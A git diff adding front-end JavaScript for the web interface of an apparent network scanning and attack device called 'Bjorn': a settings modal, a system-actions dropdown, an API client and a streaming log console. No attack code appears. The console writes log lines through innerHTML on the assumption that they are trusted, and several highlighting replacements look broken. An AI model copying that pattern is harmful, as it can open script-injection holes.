with tabs + * ========================================= */ + +function wireSettingsModal() { + // Build modal content inside #settingsBackdrop + const backdrop = $('#settingsBackdrop'); + if (!backdrop) return; + + function buildSettings() { + backdrop.innerHTML = ''; + const modal = el('div', { class: 'modal', role: 'dialog', 'aria-modal': 'true', 'aria-label': 'Settings' }); + + // Tabs navigation + const tabs = el('nav', { class: 'tabs', id: 'settingsTabs' }); + const btnGeneral = el('button', { class: 'tabbtn active', 'data-tab': 'general' }, ['General']); + const btnTheme = el('button', { class: 'tabbtn', 'data-tab': 'theme' }, ['Theme']); + const btnConfig = el('button', { class: 'tabbtn', 'data-tab': 'config' }, ['Config']); + tabs.append(btnGeneral, btnTheme, btnConfig); + + // General tab + const tabGeneral = el('section', { class: 'tabpanel', id: 'tab-general' }); + tabGeneral.append( + el('h3', {}, [i18n.t('settings.general')]), + el('div', { class: 'row' }, [ + el('label', {}, ['Notifications']), + el('div', { class: 'switch', id: 'switchNotifs' }) + ]), + el('div', { class: 'row' }, [ + el('label', {}, ['Navigation Mode']), + el('select', { id: 'selectNavMode', class: 'select' }, [ + el('option', { value: 'rail' }, ['Floating Bar']), + el('option', { value: 'grid' }, ['Grid Overlay']), + ]) + ]), + el('div', { class: 'row' }, [ + el('label', {}, [i18n.t('settings.language')]), + ]) + ); + // Set current nav mode selection + const navModeSelect = tabGeneral.querySelector('#selectNavMode'); + if (navModeSelect) { + navModeSelect.value = getNavMode(); + navModeSelect.addEventListener('change', () => setNavMode(navModeSelect.value)); + } + // Mount language selector inside general tab + const langRow = tabGeneral.querySelector('.row:last-child'); + if (langRow) i18n.mountLangSelector(langRow); + + // Theme tab + const tabTheme = el('section', { class: 'tabpanel', id: 'tab-theme', hidden: '' }); + tabTheme.append(el('h3', {}, [i18n.t('settings.theme')])); + theme.mountEditor(tabTheme); + + // Config tab + const tabConfig = el('section', { class: 'tabpanel', id: 'tab-config', hidden: '' }, [ + el('div', { class: 'cfg-toolbar' }, [ + el('button', { class: 'btn', id: 'cfgReload' }, [i18n.t('common.refresh')]), + el('button', { class: 'btn', id: 'cfgRestore' }, [i18n.t('common.reset')]), + el('button', { class: 'btn btn-primary', id: 'cfgSave' }, [i18n.t('common.save')]), + ]), + el('div', { id: 'configFormHost', class: 'cfg-host' }), + ]); + + modal.append(tabs, tabGeneral, tabTheme, tabConfig); + backdrop.appendChild(modal); + + const cfgHost = modal.querySelector('#configFormHost'); + settingsConfig.mountConfig(cfgHost); + + // Tab switching + tabs.addEventListener('click', (e) => { + const btn = e.target.closest('.tabbtn'); + if (!btn) return; + const tabId = btn.dataset.tab; + tabs.querySelectorAll('.tabbtn').forEach(b => b.classList.remove('active')); + btn.classList.add('active'); + modal.querySelectorAll('.tabpanel').forEach(p => p.hidden = true); + const panel = modal.querySelector(`#tab-${tabId}`); + if (panel) panel.hidden = false; + if (tabId === 'config') settingsConfig.loadConfig(cfgHost); + }); + + // Notifications switch + const notifSwitch = modal.querySelector('#switchNotifs'); + if (notifSwitch) { + const notifOn = localStorage.getItem('bjorn.notifs') !== 'off'; + if (notifOn) notifSwitch.classList.add('on'); + notifSwitch.addEventListener('click', () => { + notifSwitch.classList.toggle('on'); + localStorage.setItem('bjorn.notifs', notifSwitch.classList.contains('on') ? 'on' : 'off'); + }); + } + + // Config actions + modal.querySelector('#cfgReload')?.addEventListener('click', () => settingsConfig.loadConfig(cfgHost)); + modal.querySelector('#cfgSave')?.addEventListener('click', () => settingsConfig.saveConfig()); + modal.querySelector('#cfgRestore')?.addEventListener('click', () => settingsConfig.restoreDefaults(cfgHost)); + } + + // Store build function for reuse + backdrop._buildSettings = buildSettings; +} + +function toggleSettings() { + const backdrop = $('#settingsBackdrop'); + if (!backdrop) return; + + const isOpen = backdrop.style.display === 'flex'; + if (isOpen) { + backdrop.style.display = 'none'; + backdrop.setAttribute('aria-hidden', 'true'); + } else { + if (backdrop._buildSettings) backdrop._buildSettings(); + backdrop.style.display = 'flex'; + backdrop.setAttribute('aria-hidden', 'false'); + setTimeout(() => { + const m = backdrop.querySelector('.modal'); + if (m) m.classList.add('show'); + }, 0); + } +} + +/* Close settings on backdrop click (persistent listener) */ +document.addEventListener('click', (e) => { + const backdrop = $('#settingsBackdrop'); + if (!backdrop || backdrop.style.display !== 'flex') return; + if (e.target === backdrop) toggleSettings(); +}); + +/* Close settings on Escape (persistent listener) */ +document.addEventListener('keydown', (e) => { + if (e.key !== 'Escape') return; + const backdrop = $('#settingsBackdrop'); + if (!backdrop || backdrop.style.display !== 'flex') return; + toggleSettings(); +}); + +/* ========================================= + * Chip Editor (global singleton) + * Wires the existing #chipEditBackdrop from HTML + * ========================================= */ + +function wireChipEditor() { + const backdrop = $('#chipEditBackdrop'); + if (!backdrop || window.ChipsEditor) return; + + const title = $('#chipEditTitle'); + const label = $('#chipEditLabel'); + const input = $('#chipEditInput'); + const ta = $('#chipEditTextarea'); + const btnSave = $('#chipEditSave'); + const btnCancel = $('#chipEditCancel'); + const btnClose = $('#chipEditClose'); + if (!input || !ta || !btnSave) return; + + let resolver = null; + function show() { backdrop.classList.add('show'); requestAnimationFrame(() => (input.offsetParent ? input : ta).focus()); } + function hide() { backdrop.classList.remove('show'); resolver = null; } + function currentValue() { return (input.offsetParent ? input.value : ta.value).trim(); } + function resolve(val) { if (resolver) { resolver(val); hide(); } } + function save() { resolve(currentValue()); } + function cancel() { resolve(null); } + + btnSave.addEventListener('click', save); + btnCancel.addEventListener('click', cancel); + btnClose.addEventListener('click', cancel); + backdrop.addEventListener('click', (e) => { if (e.target === backdrop) cancel(); }); + document.addEventListener('keydown', (e) => { + if (!backdrop.classList.contains('show')) return; + if (e.key === 'Escape') { e.preventDefault(); cancel(); } + if (e.key === 'Enter' && e.target.closest('#chipEditBackdrop') && e.target.id !== 'chipEditTextarea') { + e.preventDefault(); save(); + } + }); + + window.ChipsEditor = { + open(opts = {}) { + const { value = '', title: ttl = 'Edit value', label: lab = 'Value', placeholder = '', multiline = false, maxLength, confirmLabel = 'Save' } = opts; + if (title) title.textContent = ttl; + if (label) label.textContent = lab; + if (btnSave) btnSave.textContent = confirmLabel; + if (multiline) { + ta.style.display = ''; + input.style.display = 'none'; + ta.value = value; + ta.placeholder = placeholder; + ta.removeAttribute('maxlength'); + if (maxLength) ta.setAttribute('maxlength', String(maxLength)); + } else { + input.style.display = ''; + ta.style.display = 'none'; + input.value = value; + input.placeholder = placeholder; + input.removeAttribute('maxlength'); + if (maxLength) input.setAttribute('maxlength', String(maxLength)); + } + show(); + return new Promise(res => { resolver = res; }); + } + }; +} \ No newline at end of file diff --git a/web/js/core/actions.js b/web/js/core/actions.js new file mode 100644 index 0000000..6faa7be --- /dev/null +++ b/web/js/core/actions.js @@ -0,0 +1,437 @@ +/** + * Actions Dropdown — ES module replacement for the monolithic global.js + * actions/dropdown logic. Builds the dropdown menu, wires hover/touch/keyboard + * behaviour, and dispatches action API calls. + */ + +import { $, el, toast } from './dom.js'; +import { api } from './api.js'; +import { t } from './i18n.js'; + +/* ------------------------------------------------------------------ */ +/* Dropdown item definitions */ +/* ------------------------------------------------------------------ */ + +const dropdownItems = [ + { action: 'restart_bjorn_service', textKey: 'actions.menu.restartService', tipKey: 'actions.tip.restartService' }, + { action: 'remove_All_Actions', textKey: 'actions.menu.deleteActionStatus', tipKey: 'actions.tip.deleteActionStatus' }, + { action: 'clear_output_folder', textKey: 'actions.menu.clearOutput', tipKey: 'actions.tip.clearOutput' }, + { action: 'clear_logs', textKey: 'actions.menu.clearLogs', tipKey: 'actions.tip.clearLogs' }, + { action: 'reload_images', textKey: 'actions.menu.reloadImages', tipKey: 'actions.tip.reloadImages' }, + { action: 'reload_fonts', textKey: 'actions.menu.reloadFonts', tipKey: 'actions.tip.reloadFonts' }, + { action: 'reload_generate_actions_json', textKey: 'actions.menu.reloadActionsJson', tipKey: 'actions.tip.reloadActionsJson' }, + { action: 'initialize_csv', textKey: 'actions.menu.initializeCsv', tipKey: 'actions.tip.initializeCsv' }, + { action: 'clear_livestatus', textKey: 'actions.menu.clearLivestatus', tipKey: 'actions.tip.clearLivestatus' }, + { action: 'clear_actions_file', textKey: 'actions.menu.refreshActionsFile', tipKey: 'actions.tip.refreshActionsFile' }, + { action: 'clear_netkb', textKey: 'actions.menu.clearNetkb', tipKey: 'actions.tip.clearNetkb' }, + { action: 'clear_shared_config_json', textKey: 'actions.menu.clearSharedConfig', tipKey: 'actions.tip.clearSharedConfig' }, + { action: 'erase_bjorn_memories', textKey: 'actions.menu.eraseMemories', tipKey: 'actions.tip.eraseMemories' }, + { action: 'reboot_system', textKey: 'actions.menu.reboot', tipKey: 'actions.tip.reboot' }, + { action: 'shutdown_system', textKey: 'actions.menu.shutdown', tipKey: 'actions.tip.shutdown' }, +]; + +/* ------------------------------------------------------------------ */ +/* Action handlers — each returns a Promise */ +/* ------------------------------------------------------------------ */ + +/** + * Helper: after a successful action that recommends a service restart, + * prompt the user and fire the restart if they agree. + */ +async function offerRestart() { + if (confirm(t('actions.confirm.restartRecommended'))) { + try { + await api.post('/restart_bjorn_service'); + toast(t('actions.msg.restartingService'), 3000, 'success'); + } catch (err) { + toast(`${t('actions.msg.restartFailed')}: ${err.message}`, 4000, 'error'); + } + } +} + +/** Map of action name -> handler function */ +const actionHandlers = { + async restart_bjorn_service() { + if (!confirm(t('actions.confirm.restartService'))) return; + await api.post('/restart_bjorn_service'); + toast(t('actions.msg.restartingService'), 3000, 'success'); + }, + + async remove_All_Actions() { + if (!confirm(t('actions.confirm.deleteActionStatus'))) return; + await api.post('/delete_all_actions', { ip: '' }); + toast(t('actions.msg.actionStatusDeleted'), 3000, 'success'); + }, + + async clear_output_folder() { + if (!confirm(t('actions.confirm.clearOutput'))) return; + await api.post('/clear_output_folder'); + toast(t('actions.msg.outputCleared'), 3000, 'success'); + }, + + async clear_logs() { + if (!confirm(t('actions.confirm.clearLogs'))) return; + await api.post('/clear_logs'); + toast(t('actions.msg.logsCleared'), 3000, 'success'); + }, + + async clear_netkb() { + if (!confirm(t('actions.confirm.clearNetkb'))) return; + await api.post('/clear_netkb'); + toast(t('actions.msg.netkbCleared'), 3000, 'success'); + await offerRestart(); + }, + + async clear_livestatus() { + if (!confirm(t('actions.confirm.clearLivestatus'))) return; + await api.post('/clear_livestatus'); + toast(t('actions.msg.livestatusDeleted'), 3000, 'success'); + await offerRestart(); + }, + + async clear_actions_file() { + if (!confirm(t('actions.confirm.refreshActionsFile'))) return; + await api.post('/clear_actions_file'); + toast(t('actions.msg.actionsFileRefreshed'), 3000, 'success'); + await offerRestart(); + }, + + async clear_shared_config_json() { + if (!confirm(t('actions.confirm.clearSharedConfig'))) return; + await api.post('/clear_shared_config_json'); + toast(t('actions.msg.sharedConfigDeleted'), 3000, 'success'); + await offerRestart(); + }, + + async erase_bjorn_memories() { + if (!confirm(t('actions.confirm.eraseMemories'))) return; + await api.post('/erase_bjorn_memories'); + toast(t('actions.msg.memoriesErased'), 3000, 'success'); + await offerRestart(); + }, + + async reboot_system() { + if (!confirm(t('actions.confirm.reboot'))) return; + await api.post('/reboot_system'); + toast(t('actions.msg.rebooting'), 3000, 'success'); + }, + + async shutdown_system() { + if (!confirm(t('actions.confirm.shutdown'))) return; + await api.post('/shutdown_system'); + toast(t('actions.msg.shuttingDown'), 3000, 'success'); + }, + + async initialize_csv() { + await api.post('/initialize_csv'); + toast(t('actions.msg.csvInitialized'), 3000, 'success'); + }, + + async reload_generate_actions_json() { + await api.post('/reload_generate_actions_json'); + toast(t('actions.msg.actionsJsonReloaded'), 3000, 'success'); + }, + + async reload_images() { + await api.post('/reload_images'); + toast(t('actions.msg.imagesReloaded'), 3000, 'success'); + }, + + async reload_fonts() { + await api.post('/reload_fonts'); + toast(t('actions.msg.fontsReloaded'), 3000, 'success'); + }, +}; + +/* ------------------------------------------------------------------ */ +/* Dropdown open / close helpers */ +/* ------------------------------------------------------------------ */ + +let actionsBtn = null; +let actionsMenu = null; +let actionsWrap = null; + +/** Whether the menu was explicitly toggled open via pointer/keyboard */ +let sticky = false; +let hoverTimer = null; +const hoverMQ = window.matchMedia('(hover: hover) and (pointer: fine)'); + +function openMenu() { + if (!actionsMenu || !actionsBtn) return; + actionsMenu.style.display = 'block'; + actionsMenu.hidden = false; + actionsMenu.classList.add('open'); + actionsMenu.setAttribute('aria-hidden', 'false'); + actionsBtn.setAttribute('aria-expanded', 'true'); + placeActionsMenu(); +} + +function closeMenu() { + if (!actionsMenu || !actionsBtn) return; + actionsMenu.classList.remove('open'); + actionsMenu.setAttribute('aria-hidden', 'true'); + actionsBtn.setAttribute('aria-expanded', 'false'); + actionsMenu.hidden = true; + actionsMenu.style.display = ''; + sticky = false; +} + +function isOpen() { + return actionsMenu && actionsMenu.classList.contains('open'); +} + +/** + * Position the dropdown menu beneath the topbar, horizontally centered. + */ +function placeActionsMenu() { + if (!actionsMenu || !actionsBtn) return; + + const btnRect = actionsBtn.getBoundingClientRect(); + const top = Math.round(btnRect.bottom + 6); + const margin = 8; + + actionsMenu.style.position = 'fixed'; + actionsMenu.style.top = `${top}px`; + actionsMenu.style.left = '0px'; + actionsMenu.style.transform = 'none'; + + const menuWidth = actionsMenu.offsetWidth || 320; + const viewportWidth = window.innerWidth || document.documentElement.clientWidth || 1024; + const maxLeft = Math.max(margin, viewportWidth - menuWidth - margin); + let left = Math.round(btnRect.left + (btnRect.width - menuWidth) / 2); + left = Math.max(margin, Math.min(maxLeft, left)); + + actionsMenu.style.left = `${left}px`; +} + +/* ------------------------------------------------------------------ */ +/* Build the menu items into the DOM */ +/* ------------------------------------------------------------------ */ + +function buildMenu() { + if (!actionsMenu) return; + + // Clear any existing children (idempotent rebuild) + while (actionsMenu.firstChild) actionsMenu.removeChild(actionsMenu.firstChild); + + for (const item of dropdownItems) { + const btn = el('button', { + class: 'dropdown-item', + role: 'menuitem', + tabindex: '-1', + title: t(item.tipKey), + 'data-action': item.action, + }, [t(item.textKey)]); + + actionsMenu.appendChild(btn); + } +} + +/* ------------------------------------------------------------------ */ +/* Execute an action by name */ +/* ------------------------------------------------------------------ */ + +async function executeAction(actionName) { + const handler = actionHandlers[actionName]; + if (!handler) { + toast(`${t('actions.msg.unknownAction')}: ${actionName}`, 3000, 'error'); + return; + } + try { + await handler(); + } catch (err) { + toast(`${t('actions.msg.actionFailed')}: ${err.message}`, 4000, 'error'); + } +} + +/* ------------------------------------------------------------------ */ +/* Keyboard navigation helpers */ +/* ------------------------------------------------------------------ */ + +function getMenuItems() { + if (!actionsMenu) return []; + return Array.from(actionsMenu.querySelectorAll('[role="menuitem"]')); +} + +function focusItem(items, index) { + if (index < 0 || index >= items.length) return; + items[index].focus(); +} + +/* ------------------------------------------------------------------ */ +/* Event wiring */ +/* ------------------------------------------------------------------ */ + +function wireEvents() { + if (!actionsBtn || !actionsMenu || !actionsWrap) return; + + /* -- Hover behavior (desktop only) -- */ + actionsWrap.addEventListener('mouseenter', () => { + if (!hoverMQ.matches) return; + if (hoverTimer) { + clearTimeout(hoverTimer); + hoverTimer = null; + } + if (!sticky) openMenu(); + }); + + actionsWrap.addEventListener('mouseleave', () => { + if (!hoverMQ.matches) return; + if (sticky) return; + hoverTimer = setTimeout(() => { + hoverTimer = null; + if (!sticky) closeMenu(); + }, 150); + }); + + /* -- Button toggle (desktop + mobile) -- */ + let lastToggleTime = 0; + function toggleFromButton(e) { + e.preventDefault(); + e.stopPropagation(); + // Guard against double-firing (pointerup + click both fire on mobile tap) + const now = Date.now(); + if (now - lastToggleTime < 300) return; + lastToggleTime = now; + + if (isOpen()) { + closeMenu(); + } else { + sticky = true; + openMenu(); + } + } + actionsBtn.addEventListener('click', toggleFromButton); + actionsBtn.addEventListener('keydown', (e) => { + if (e.key === 'Enter' || e.key === ' ') toggleFromButton(e); + }); + + /* -- Close on pointerdown outside -- */ + document.addEventListener('pointerdown', (e) => { + if (!isOpen()) return; + if (!actionsWrap.contains(e.target)) { + closeMenu(); + } + }); + + /* -- Menu item clicks -- */ + actionsMenu.addEventListener('click', (e) => { + const item = e.target.closest('[data-action]'); + if (!item) return; + const actionName = item.getAttribute('data-action'); + closeMenu(); + executeAction(actionName); + }); + + /* -- Keyboard navigation -- */ + actionsWrap.addEventListener('keydown', (e) => { + const items = getMenuItems(); + if (!items.length) return; + + const currentIndex = items.indexOf(document.activeElement); + + switch (e.key) { + case 'Escape': + e.preventDefault(); + closeMenu(); + actionsBtn.focus(); + break; + + case 'ArrowDown': + e.preventDefault(); + if (!isOpen()) { + openMenu(); + focusItem(items, 0); + } else { + focusItem(items, currentIndex < items.length - 1 ? currentIndex + 1 : 0); + } + break; + + case 'ArrowUp': + e.preventDefault(); + if (!isOpen()) { + openMenu(); + focusItem(items, items.length - 1); + } else { + focusItem(items, currentIndex > 0 ? currentIndex - 1 : items.length - 1); + } + break; + + case 'Home': + if (isOpen()) { + e.preventDefault(); + focusItem(items, 0); + } + break; + + case 'End': + if (isOpen()) { + e.preventDefault(); + focusItem(items, items.length - 1); + } + break; + + case 'Enter': + case ' ': + if (document.activeElement && document.activeElement.hasAttribute('data-action')) { + e.preventDefault(); + const actionName = document.activeElement.getAttribute('data-action'); + closeMenu(); + executeAction(actionName); + } + break; + + default: + break; + } + }); + + /* -- Reposition on resize / scroll -- */ + window.addEventListener('resize', () => { + if (isOpen()) placeActionsMenu(); + }); + + window.addEventListener('scroll', () => { + if (isOpen()) placeActionsMenu(); + }, { passive: true }); + + document.addEventListener('keydown', (e) => { + if (e.key === 'Escape' && isOpen()) closeMenu(); + }); + window.addEventListener('hashchange', closeMenu); +} + +function onLanguageChanged() { + buildMenu(); + if (isOpen()) placeActionsMenu(); +} + +/* ------------------------------------------------------------------ */ +/* Public init — idempotent */ +/* ------------------------------------------------------------------ */ + +let _initialised = false; + +/** + * Initialise the Actions dropdown. + * Safe to call once; subsequent calls are no-ops. + */ +export function init() { + if (_initialised) return; + + actionsBtn = $('#actionsBtn'); + actionsMenu = $('#actionsMenu'); + actionsWrap = $('#actionsWrap'); + + if (!actionsBtn || !actionsMenu || !actionsWrap) { + console.warn('[actions] Required DOM elements not found; skipping init.'); + return; + } + + buildMenu(); + wireEvents(); + window.addEventListener('i18n:changed', onLanguageChanged); + + _initialised = true; + console.debug('[actions] initialised'); +} diff --git a/web/js/core/api.js b/web/js/core/api.js new file mode 100644 index 0000000..d4d64a0 --- /dev/null +++ b/web/js/core/api.js @@ -0,0 +1,178 @@ +/** + * API client wrapper — fetch with timeout, abort, retry, backoff. + * Provides Poller utility with adaptive intervals and visibility awareness. + */ +import { t } from './i18n.js'; + +const DEFAULT_TIMEOUT = 10000; // 10s +const MAX_RETRIES = 2; +const BACKOFF = [200, 800]; // ms per retry + +/** Consistent error shape */ +class ApiError extends Error { + constructor(message, status = 0, data = null) { + super(message); + this.name = 'ApiError'; + this.status = status; + this.data = data; + } +} + +/** + * Core fetch wrapper with timeout + abort + retry. + * @param {string} url + * @param {object} opts - fetch options + {timeout, retries, signal} + * @returns {Promise} + */ +async function request(url, opts = {}) { + const { + timeout = DEFAULT_TIMEOUT, + retries = MAX_RETRIES, + signal: externalSignal, + ...fetchOpts + } = opts; + + let lastError; + + for (let attempt = 0; attempt <= retries; attempt++) { + const ac = new AbortController(); + const timer = setTimeout(() => ac.abort(), timeout); + + // Link external signal if provided + if (externalSignal) { + if (externalSignal.aborted) { clearTimeout(timer); throw new ApiError('Aborted', 0); } + externalSignal.addEventListener('abort', () => ac.abort(), { once: true }); + } + + try { + const res = await fetch(url, { ...fetchOpts, signal: ac.signal }); + clearTimeout(timer); + + if (!res.ok) { + let body = null; + try { body = await res.json(); } catch { /* not JSON */ } + throw new ApiError(body?.message || res.statusText, res.status, body); + } + + // Parse response + const ct = res.headers.get('content-type') || ''; + if (ct.includes('application/json')) return await res.json(); + if (ct.includes('text/')) return await res.text(); + return res; + } catch (err) { + clearTimeout(timer); + lastError = err; + + // Don't retry on abort or client errors (4xx) + if (err.name === 'AbortError' || err.name === 'ApiError') { + if (err.name === 'AbortError') throw new ApiError(t('api.timeout'), 0); + if (err.status >= 400 && err.status < 500) throw err; + } + + // Retry with backoff for transient errors + if (attempt < retries) { + const delay = BACKOFF[attempt] || BACKOFF[BACKOFF.length - 1]; + await new Promise(r => setTimeout(r, delay)); + continue; + } + } + } + + throw lastError || new ApiError(t('api.failed')); +} + +/* -- Convenience methods -- */ + +export const api = { + get(url, opts = {}) { + return request(url, { method: 'GET', ...opts }); + }, + + post(url, data, opts = {}) { + const isFormData = data instanceof FormData; + return request(url, { + method: 'POST', + headers: isFormData ? {} : { 'Content-Type': 'application/json' }, + body: isFormData ? data : JSON.stringify(data), + ...opts + }); + }, + + del(url, opts = {}) { + return request(url, { method: 'DELETE', ...opts }); + }, + + ApiError +}; + +/** + * Poller — adaptive polling with visibility awareness. + * Slows down when document is hidden, stops on unmount. + * + * Usage: + * const p = new Poller(() => fetch('/status'), 5000); + * p.start(); // begins polling + * p.stop(); // stops (call in unmount) + */ +export class Poller { + /** + * @param {Function} fn - async function to call each tick + * @param {number} interval - base interval in ms + * @param {object} opts - { hiddenMultiplier, maxInterval, immediate } + */ + constructor(fn, interval, opts = {}) { + this._fn = fn; + this._baseInterval = interval; + this._hiddenMultiplier = opts.hiddenMultiplier || 4; + this._maxInterval = opts.maxInterval || 120000; // 2min cap + this._immediate = opts.immediate !== false; + this._timer = null; + this._running = false; + this._onVisibility = this._handleVisibility.bind(this); + } + + start() { + if (this._running) return; + this._running = true; + document.addEventListener('visibilitychange', this._onVisibility); + if (this._immediate) this._tick(); + else this._schedule(); + console.debug(`[Poller] started (${this._baseInterval}ms)`); + } + + stop() { + this._running = false; + clearTimeout(this._timer); + this._timer = null; + document.removeEventListener('visibilitychange', this._onVisibility); + console.debug('[Poller] stopped'); + } + + _currentInterval() { + if (document.hidden) { + return Math.min(this._baseInterval * this._hiddenMultiplier, this._maxInterval); + } + return this._baseInterval; + } + + async _tick() { + if (!this._running) return; + try { + await this._fn(); + } catch (err) { + console.warn('[Poller] tick error:', err.message); + } + this._schedule(); + } + + _schedule() { + if (!this._running) return; + clearTimeout(this._timer); + this._timer = setTimeout(() => this._tick(), this._currentInterval()); + } + + _handleVisibility() { + // Reschedule with adjusted interval when visibility changes + if (this._running) this._schedule(); + } +} diff --git a/web/js/core/console-sse.js b/web/js/core/console-sse.js new file mode 100644 index 0000000..67893c0 --- /dev/null +++ b/web/js/core/console-sse.js @@ -0,0 +1,998 @@ +/** + * Console SSE — streaming log viewer with SSE, scroll management, + * font sizing, resize dragging, and floating UI indicators. + * + * Replaces the legacy BjornUI.ConsoleSSE IIFE from global.js. + * + * @module core/console-sse + */ + +import { $, el, toast } from './dom.js'; +import { api } from './api.js'; +import { t } from './i18n.js'; + +/* ------------------------------------------------------------------ */ +/* Constants */ +/* ------------------------------------------------------------------ */ + +const MAX_VISIBLE_LINES = 200; +const MAX_RECONNECT = 5; +const RECONNECT_DELAY_MS = 2000; +const LS_FONT_KEY = 'Console.fontPx'; +const LS_DOCK_KEY = 'Console.docked'; +const DEFAULT_FONT_PX = 12; +const MOBILE_FONT_PX = 11; +const MOBILE_BREAKPOINT = 768; + +/** Map canonical log-level tokens to CSS class names. */ +const LEVEL_CLASSES = { + DEBUG: 'debug', + INFO: 'info', + WARNING: 'warning', + ERROR: 'error', + CRITICAL: 'critical', + SUCCESS: 'success', +}; + +/* ------------------------------------------------------------------ */ +/* Module state */ +/* ------------------------------------------------------------------ */ + +let evtSource = null; +let reconnectCount = 0; +let reconnectTimer = null; + +let isUserScrolling = false; +let autoScroll = true; +let lineBuffer = []; // lines held while user is scrolled up +let isDocked = false; + +/* Cached DOM refs (populated in init) */ +let elConsole = null; +let elLogout = null; +let elFontInput = null; +let elModePill = null; +let elModeToggle = null; +let elAttackToggle = null; +let elDockBtn = null; +let elSelIp = null; +let elSelPort = null; +let elSelAction = null; +let elBtnScan = null; +let elBtnAttack = null; +let elScrollBtn = null; // floating scroll-to-bottom button +let elBufferBadge = null; // floating buffer count indicator + +/* Resize drag state */ +let resizeDragging = false; +let resizeStartY = 0; +let resizeStartH = 0; + +/* ------------------------------------------------------------------ */ +/* Helpers */ +/* ------------------------------------------------------------------ */ + +/** + * Deterministic hue from a string (0-359). + * @param {string} str + * @returns {number} + */ +function hueFromString(str) { + let h = 0; + for (let i = 0; i < str.length; i++) { + h = (h * 31 + str.charCodeAt(i)) >>> 0; + } + return h % 360; +} + +/** + * Return the default font size based on viewport width. + * @returns {number} + */ +function defaultFontPx() { + return window.innerWidth <= MOBILE_BREAKPOINT ? MOBILE_FONT_PX : DEFAULT_FONT_PX; +} + +/** + * Update the range input's background gradient so the filled portion + * matches the current thumb position. + * @param {HTMLInputElement} input + */ +function paintRangeTrack(input) { + if (!input) return; + const min = Number(input.min) || 0; + const max = Number(input.max) || 100; + const val = Number(input.value); + const pct = ((val - min) / (max - min)) * 100; + input.style.backgroundSize = `${pct}% 100%`; +} + +/* ------------------------------------------------------------------ */ +/* Dock / Anchor */ +/* ------------------------------------------------------------------ */ + +function readDockPref() { + try { + return localStorage.getItem(LS_DOCK_KEY) === '1'; + } catch { + return false; + } +} + +function writeDockPref(on) { + try { + localStorage.setItem(LS_DOCK_KEY, on ? '1' : '0'); + } catch { /* ignore */ } +} + +function syncDockSpace() { + if (!elConsole) return; + + const open = elConsole.classList.contains('open'); + const active = !!isDocked && !!open; + + document.body.classList.toggle('console-docked', active); + elConsole.classList.toggle('docked', active); + + if (elDockBtn) { + elDockBtn.classList.toggle('on', !!isDocked); + elDockBtn.setAttribute('aria-pressed', String(!!isDocked)); + elDockBtn.title = isDocked ? 'Unanchor console' : 'Anchor console'; + } + + const root = document.documentElement; + if (!active) { + root.style.setProperty('--console-dock-h', '0px'); + return; + } + + // Reserve space equal to console height so the app container doesn't sit under it. + const h = Math.max(0, Math.round(elConsole.getBoundingClientRect().height)); + root.style.setProperty('--console-dock-h', `${h}px`); +} + +function ensureDockButton() { + if (!elConsole || elDockBtn) return; + + const head = elConsole.querySelector('.console-head'); + const closeBtn = $('#closeConsole'); + if (!head || !closeBtn) return; + + elDockBtn = el('button', { + class: 'btn console-dock-btn', + id: 'consoleDock', + type: 'button', + title: 'Anchor console', + 'aria-label': 'Anchor console', + 'aria-pressed': 'false', + onclick: (e) => { + e.preventDefault(); + e.stopPropagation(); + isDocked = !isDocked; + writeDockPref(isDocked); + syncDockSpace(); + }, + }, ['PIN']); + + head.insertBefore(elDockBtn, closeBtn); +} + +/* ------------------------------------------------------------------ */ +/* Log-line processing */ +/* ------------------------------------------------------------------ */ + +/** + * Transform a raw log line into an HTML string with highlighted + * filenames, log levels, and numbers. + * + * NOTE: The log content originates from the server's own log stream; + * it is NOT user-supplied input, so innerHTML is acceptable here. + * + * @param {string} line + * @returns {string} HTML string + */ +function processLogLine(line) { + // 1. Highlight *.py filenames + line = line.replace( + /\b([\w\-]+\.py)\b/g, + (_match, name) => { + const hue = hueFromString(name); + return `${name}`; + } + ); + + // 2. Highlight canonical log levels + const levelPattern = /\b(DEBUG|INFO|WARNING|ERROR|CRITICAL|SUCCESS)\b/g; + line = line.replace(levelPattern, (_match, lvl) => { + const cls = LEVEL_CLASSES[lvl] || lvl.toLowerCase(); + return `${lvl}`; + }); + + // 3. Highlight special-case tokens + line = line.replace( + /\b(failed)\b/gi, + (_m, tok) => `${tok}` + ); + line = line.replace( + /\b(Connected)\b/g, + (_m, tok) => `${tok}` + ); + line = line.replace( + /(SSE stream closed)/g, + (_m, tok) => `${tok}` + ); + + // 4. Highlight numbers that are NOT inside HTML tags + // Strategy: split on HTML tags, process only the text segments. + line = line.replace( + /(<[^>]*>)|(\b\d+(?:\.\d+)?\b)/g, + (match, tag, num) => { + if (tag) return tag; // pass tags through + return `${num}`; + } + ); + + return line; +} + +/* ------------------------------------------------------------------ */ +/* Scroll management */ +/* ------------------------------------------------------------------ */ + +function scrollToBottom() { + if (!elLogout) return; + elLogout.scrollTop = elLogout.scrollHeight; +} + +/** + * Determine whether the console body is scrolled to (or near) the bottom. + * @returns {boolean} + */ +function isAtBottom() { + if (!elLogout) return true; + return elLogout.scrollTop + elLogout.clientHeight >= elLogout.scrollHeight - 8; +} + +/** Flush any buffered lines into the visible log. */ +function flushBuffer() { + if (!elLogout || lineBuffer.length === 0) return; + + for (const html of lineBuffer) { + appendLogHtml(html, false); + } + lineBuffer = []; + updateBufferBadge(); + trimLines(); + scrollToBottom(); +} + +/** Trim oldest lines if the visible count exceeds the maximum. */ +function trimLines() { + if (!elLogout) return; + while (elLogout.childElementCount > MAX_VISIBLE_LINES) { + elLogout.removeChild(elLogout.firstElementChild); + } +} + +/** + * Append one processed HTML line into the console body. + * @param {string} html + * @param {boolean} shouldAutoScroll + */ +function appendLogHtml(html, shouldAutoScroll = true) { + if (!elLogout) return; + + const div = document.createElement('div'); + div.className = 'log-line'; + div.innerHTML = html; + elLogout.appendChild(div); + + if (shouldAutoScroll) { + trimLines(); + if (autoScroll) scrollToBottom(); + } +} + +/** Handle scroll events on the console body. */ +function onLogScroll() { + const atBottom = isAtBottom(); + + if (!atBottom) { + isUserScrolling = true; + autoScroll = false; + } else { + isUserScrolling = false; + autoScroll = true; + flushBuffer(); + } + + updateFloatingUI(); +} + +/* ------------------------------------------------------------------ */ +/* Floating UI (scroll-to-bottom button & buffer badge) */ +/* ------------------------------------------------------------------ */ + +function ensureFloatingUI() { + if (elScrollBtn) return; + + // Scroll-to-bottom button + elScrollBtn = el('button', { + class: 'console-scroll-btn hidden', + title: t('console.scrollToBottom'), + onclick: () => forceBottom(), + }, ['\u2193']); + + // Buffer badge + elBufferBadge = el('span', { class: 'console-buffer-badge hidden' }, ['0']); + + if (elConsole) { + 